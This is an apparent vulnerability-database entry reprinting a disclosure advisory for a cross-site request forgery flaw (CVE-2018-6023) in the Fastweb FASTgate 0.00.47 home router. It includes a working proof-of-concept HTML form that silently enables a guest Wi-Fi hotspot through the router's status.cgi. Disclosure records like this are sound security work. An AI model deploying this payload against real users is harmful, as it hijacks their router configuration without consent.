ID
VAR-E-201805-0283
TITLE
Fastweb FASTGate 0.00.47 - Cross-site Request Forgery
Trust: 0.6
AFFECTED PRODUCTS
| vendor: | fastweb | model: | fastgate | scope: | eq | version: | 0.00.47 | Trust: 0.6 |
EXPLOIT
# Exploit Title: Fastweb FASTgate 0.00.47 CSRF
# Exploit Authors: Raffaele Sabato
# Contact: https://twitter.com/syrion89
# Vendor: Fastweb
# Product Web Page: http://www.fastweb.it/adsl-fibra-ottica/dettagli/modem-fastweb-fastgate/
# Version: 0.00.47
# CVE: CVE-2018-6023
I DESCRIPTION
========================================================================
An issue was discovered in Fastweb FASTgate 0.00.47 device. A Cross-site request forgery (CSRF) vulnerability allows remote attackers to hijack the authentication of users for requests that modify the configuration. This vulnerability may lead to Gues Wi-Fi activating, Wi-Fi password changing, etc.
The vulnerability was disclosed to Fastweb on 19 January 2018.
Fastweb independently patched customer devices with non-vulneable version .67 from December 2017 thru March 2018.
II PROOF OF CONCEPT
========================================================================
## Activate Gues Wi-Fi:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.254/status.cgi">
<input type="hidden" name="_" value="1516312144136" />
<input type="hidden" name="act" value="nvset" />
<input type="hidden" name="hotspot_broadcast_ssid" value="1" />
<input type="hidden" name="hotspot_enable" value="1" />
<input type="hidden" name="hotspot_filtering" value="all" />
<input type="hidden" name="hotspot_security" value="WPA2PSK" />
<input type="hidden" name="hotspot_ssid" value="GUEST-Test" />
<input type="hidden" name="hotspot_timeout" value="-1" />
<input type="hidden" name="service" value="wl_guestaccess" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
III REFERENCES
========================================================================
http://www.fastweb.it/myfastpage/assistenza/guide/FASTGate/
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
Cross-site Request Forgery
Trust: 0.6
EXTERNAL IDS
| db: | 0DAYTODAY | id: | 30331 | Trust: 0.6 |
| db: | EDBNET | id: | 97859 | Trust: 0.6 |
REFERENCES
| url: | https://0day.today/exploits/30331 | Trust: 0.6 |
SOURCES
| db: | EDBNET | id: | 97859 |
LAST UPDATE DATE
2022-07-27T09:26:57.557000+00:00
SOURCES RELEASE DATE
| db: | EDBNET | id: | 97859 | date: | 2018-05-21T00:00:00 |